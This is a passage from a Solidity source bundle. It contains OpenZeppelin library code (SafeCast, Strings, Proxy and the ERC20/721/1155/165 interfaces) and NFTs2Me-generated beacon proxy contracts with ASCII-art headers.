}\n\n /**\n * @dev Returns the downcasted int160 from int256, reverting on\n * overflow (when the input is less than smallest int160 or\n * greater than largest int160).\n *\n * Counterpart to Solidity's `int160` operator.\n *\n * Requirements:\n *\n * - input must fit into 160 bits\n *\n * _Available since v4.7._\n */\n function toInt160(int256 value) internal pure returns (int160 downcasted) {\n downcasted = int160(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 160 bits\");\n }\n\n /**\n * @dev Returns the downcasted int152 from int256, reverting on\n * overflow (when the input is less than smallest int152 or\n * greater than largest int152).\n *\n * Counterpart to Solidity's `int152` operator.\n *\n * Requirements:\n *\n * - input must fit into 152 bits\n *\n * _Available since v4.7._\n */\n function toInt152(int256 value) internal pure returns (int152 downcasted) {\n downcasted = int152(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 152 bits\");\n }\n\n /**\n * @dev Returns the downcasted int144 from int256, reverting on\n * overflow (when the input is less than smallest int144 or\n * greater than largest int144).\n *\n * Counterpart to Solidity's `int144` operator.\n *\n * Requirements:\n *\n * - input must fit into 144 bits\n *\n * _Available since v4.7._\n */\n function toInt144(int256 value) internal pure returns (int144 downcasted) {\n downcasted = int144(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 144 bits\");\n }\n\n /**\n * @dev Returns the downcasted int136 from int256, reverting on\n * overflow (when the input is less than smallest int136 or\n * greater than largest int136).\n *\n * Counterpart to Solidity's `int136` operator.\n *\n * Requirements:\n *\n * - input must fit into 136 bits\n *\n * _Available since v4.7._\n */\n function toInt136(int256 value) internal pure returns (int136 downcasted) {\n downcasted = int136(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 136 bits\");\n }\n\n /**\n * @dev Returns the downcasted int128 from int256, reverting on\n * overflow (when the input is less than smallest int128 or\n * greater than largest int128).\n *\n * Counterpart to Solidity's `int128` operator.\n *\n * Requirements:\n *\n * - input must fit into 128 bits\n *\n * _Available since v3.1._\n */\n function toInt128(int256 value) internal pure returns (int128 downcasted) {\n downcasted = int128(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 128 bits\");\n }\n\n /**\n * @dev Returns the downcasted int120 from int256, reverting on\n * overflow (when the input is less than smallest int120 or\n * greater than largest int120).\n *\n * Counterpart to Solidity's `int120` operator.\n *\n * Requirements:\n *\n * - input must fit into 120 bits\n *\n * _Available since v4.7._\n */\n function toInt120(int256 value) internal pure returns (int120 downcasted) {\n downcasted = int120(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 120 bits\");\n }\n\n /**\n * @dev Returns the downcasted int112 from int256, reverting on\n * overflow (when the input is less than smallest int112 or\n * greater than largest int112).\n *\n * Counterpart to Solidity's `int112` operator.\n *\n * Requirements:\n *\n * - input must fit into 112 bits\n *\n * _Available since v4.7._\n */\n function toInt112(int256 value) internal pure returns (int112 downcasted) {\n downcasted = int112(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 112 bits\");\n }\n\n /**\n * @dev Returns the downcasted int104 from int256, reverting on\n * overflow (when the input is less than smallest int104 or\n * greater than largest int104).\n *\n * Counterpart to Solidity's `int104` operator.\n *\n * Requirements:\n *\n * - input must fit into 104 bits\n *\n * _Available since v4.7._\n */\n function toInt104(int256 value) internal pure returns (int104 downcasted) {\n downcasted = int104(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 104 bits\");\n }\n\n /**\n * @dev Returns the downcasted int96 from int256, reverting on\n * overflow (when the input is less than smallest int96 or\n * greater than largest int96).\n *\n * Counterpart to Solidity's `int96` operator.\n *\n * Requirements:\n *\n * - input must fit into 96 bits\n *\n * _Available since v4.7._\n */\n function toInt96(int256 value) internal pure returns (int96 downcasted) {\n downcasted = int96(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 96 bits\");\n }\n\n /**\n * @dev Returns the downcasted int88 from int256, reverting on\n * overflow (when the input is less than smallest int88 or\n * greater than largest int88).\n *\n * Counterpart to Solidity's `int88` operator.\n *\n * Requirements:\n *\n * - input must fit into 88 bits\n *\n * _Available since v4.7._\n */\n function toInt88(int256 value) internal pure returns (int88 downcasted) {\n downcasted = int88(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 88 bits\");\n }\n\n /**\n * @dev Returns the downcasted int80 from int256, reverting on\n * overflow (when the input is less than smallest int80 or\n * greater than largest int80).\n *\n * Counterpart to Solidity's `int80` operator.\n *\n * Requirements:\n *\n * - input must fit into 80 bits\n *\n * _Available since v4.7._\n */\n function toInt80(int256 value) internal pure returns (int80 downcasted) {\n downcasted = int80(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 80 bits\");\n }\n\n /**\n * @dev Returns the downcasted int72 from int256, reverting on\n * overflow (when the input is less than smallest int72 or\n * greater than largest int72).\n *\n * Counterpart to Solidity's `int72` operator.\n *\n * Requirements:\n *\n * - input must fit into 72 bits\n *\n * _Available since v4.7._\n */\n function toInt72(int256 value) internal pure returns (int72 downcasted) {\n downcasted = int72(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 72 bits\");\n }\n\n /**\n * @dev Returns the downcasted int64 from int256, reverting on\n * overflow (when the input is less than smallest int64 or\n * greater than largest int64).\n *\n * Counterpart to Solidity's `int64` operator.\n *\n * Requirements:\n *\n * - input must fit into 64 bits\n *\n * _Available since v3.1._\n */\n function toInt64(int256 value) internal pure returns (int64 downcasted) {\n downcasted = int64(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 64 bits\");\n }\n\n /**\n * @dev Returns the downcasted int56 from int256, reverting on\n * overflow (when the input is less than smallest int56 or\n * greater than largest int56).\n *\n * Counterpart to Solidity's `int56` operator.\n *\n * Requirements:\n *\n * - input must fit into 56 bits\n *\n * _Available since v4.7._\n */\n function toInt56(int256 value) internal pure returns (int56 downcasted) {\n downcasted = int56(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 56 bits\");\n }\n\n /**\n * @dev Returns the downcasted int48 from int256, reverting on\n * overflow (when the input is less than smallest int48 or\n * greater than largest int48).\n *\n * Counterpart to Solidity's `int48` operator.\n *\n * Requirements:\n *\n * - input must fit into 48 bits\n *\n * _Available since v4.7._\n */\n function toInt48(int256 value) internal pure returns (int48 downcasted) {\n downcasted = int48(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 48 bits\");\n }\n\n /**\n * @dev Returns the downcasted int40 from int256, reverting on\n * overflow (when the input is less than smallest int40 or\n * greater than largest int40).\n *\n * Counterpart to Solidity's `int40` operator.\n *\n * Requirements:\n *\n * - input must fit into 40 bits\n *\n * _Available since v4.7._\n */\n function toInt40(int256 value) internal pure returns (int40 downcasted) {\n downcasted = int40(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 40 bits\");\n }\n\n /**\n * @dev Returns the downcasted int32 from int256, reverting on\n * overflow (when the input is less than smallest int32 or\n * greater than largest int32).\n *\n * Counterpart to Solidity's `int32` operator.\n *\n * Requirements:\n *\n * - input must fit into 32 bits\n *\n * _Available since v3.1._\n */\n function toInt32(int256 value) internal pure returns (int32 downcasted) {\n downcasted = int32(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 32 bits\");\n }\n\n /**\n * @dev Returns the downcasted int24 from int256, reverting on\n * overflow (when the input is less than smallest int24 or\n * greater than largest int24).\n *\n * Counterpart to Solidity's `int24` operator.\n *\n * Requirements:\n *\n * - input must fit into 24 bits\n *\n * _Available since v4.7._\n */\n function toInt24(int256 value) internal pure returns (int24 downcasted) {\n downcasted = int24(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 24 bits\");\n }\n\n /**\n * @dev Returns the downcasted int16 from int256, reverting on\n * overflow (when the input is less than smallest int16 or\n * greater than largest int16).\n *\n * Counterpart to Solidity's `int16` operator.\n *\n * Requirements:\n *\n * - input must fit into 16 bits\n *\n * _Available since v3.1._\n */\n function toInt16(int256 value) internal pure returns (int16 downcasted) {\n downcasted = int16(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 16 bits\");\n }\n\n /**\n * @dev Returns the downcasted int8 from int256, reverting on\n * overflow (when the input is less than smallest int8 or\n * greater than largest int8).\n *\n * Counterpart to Solidity's `int8` operator.\n *\n * Requirements:\n *\n * - input must fit into 8 bits\n *\n * _Available since v3.1._\n */\n function toInt8(int256 value) internal pure returns (int8 downcasted) {\n downcasted = int8(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 8 bits\");\n }\n\n /**\n * @dev Converts an unsigned uint256 into a signed int256.\n *\n * Requirements:\n *\n * - input must be less than or equal to maxInt256.\n *\n * _Available since v3.0._\n */\n function toInt256(uint256 value) internal pure returns (int256) {\n // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive\n require(value <= uint256(type(int256).max), \"SafeCast: value doesn't fit in an int256\");\n return int256(value);\n }\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./math/MathUpgradeable.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary StringsUpgradeable {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = MathUpgradeable.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, MathUpgradeable.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n" }, "@openzeppelin/contracts/governance/utils/IVotes.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.5.0) (governance/utils/IVotes.sol)\npragma solidity ^0.8.0;\n\n/**\n * @dev Common interface for {ERC20Votes}, {ERC721Votes}, and other {Votes}-enabled contracts.\n *\n * _Available since v4.5._\n */\ninterface IVotes {\n /**\n * @dev Emitted when an account changes their delegate.\n */\n event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);\n\n /**\n * @dev Emitted when a token transfer or delegate change results in changes to a delegate's number of votes.\n */\n event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);\n\n /**\n * @dev Returns the current amount of votes that `account` has.\n */\n function getVotes(address account) external view returns (uint256);\n\n /**\n * @dev Returns the amount of votes that `account` had at the end of a past block (`blockNumber`).\n */\n function getPastVotes(address account, uint256 blockNumber) external view returns (uint256);\n\n /**\n * @dev Returns the total supply of votes available at the end of a past block (`blockNumber`).\n *\n * NOTE: This value is the sum of all available votes, which is not necessarily the sum of all delegated votes.\n * Votes that have not been delegated are still part of total supply, even though they would not participate in a\n * vote.\n */\n function getPastTotalSupply(uint256 blockNumber) external view returns (uint256);\n\n /**\n * @dev Returns the delegate that `account` has chosen.\n */\n function delegates(address account) external view returns (address);\n\n /**\n * @dev Delegates votes from the sender to `delegatee`.\n */\n function delegate(address delegatee) external;\n\n /**\n * @dev Delegates votes from signer to `delegatee`.\n */\n function delegateBySig(\n address delegatee,\n uint256 nonce,\n uint256 expiry,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n}\n" }, "@openzeppelin/contracts/proxy/Proxy.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n *\n * If overridden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {}\n}\n" }, "@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155.sol\";\n\n/**\n * @dev Interface of the optional ERC1155MetadataExtension interface, as defined\n * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155MetadataURI is IERC1155 {\n /**\n * @dev Returns the URI for token type `id`.\n *\n * If the `\\{id\\}` substring is present in the URI, it must be replaced by\n * clients with the actual token type ID.\n */\n function uri(uint256 id) external view returns (string memory);\n}\n" }, "@openzeppelin/contracts/token/ERC1155/IERC1155.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n" }, "@openzeppelin/contracts/token/ERC20/IERC20.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n" }, "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n" }, "@openzeppelin/contracts/token/ERC721/IERC721.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Note that the caller is responsible to confirm that the recipient is capable of receiving ERC721\n * or else they may be permanently lost. Usage of {safeTransferFrom} prevents loss, though the caller must\n * understand this adds an external call which potentially creates a reentrancy vulnerability.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n" }, "@openzeppelin/contracts/utils/introspection/IERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "contracts/beacon/N2MERC1155Upgradeable.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * ----------------------------------------------------------------------------- */\n\n// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"./N2MUpgradeable.sol\";\n\ncontract N2MERC1155Upgradeable is N2MUpgradeable {\n constructor(address factoryAddress) N2MUpgradeable(factoryAddress) {}\n\n function _implementation() internal view override returns (address) {\n return IN2MBeaconFactory(FACTORY_ADDRESS).getERC1155Implementation();\n }\n}\n" }, "contracts/beacon/N2MERC721Upgradeable.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: 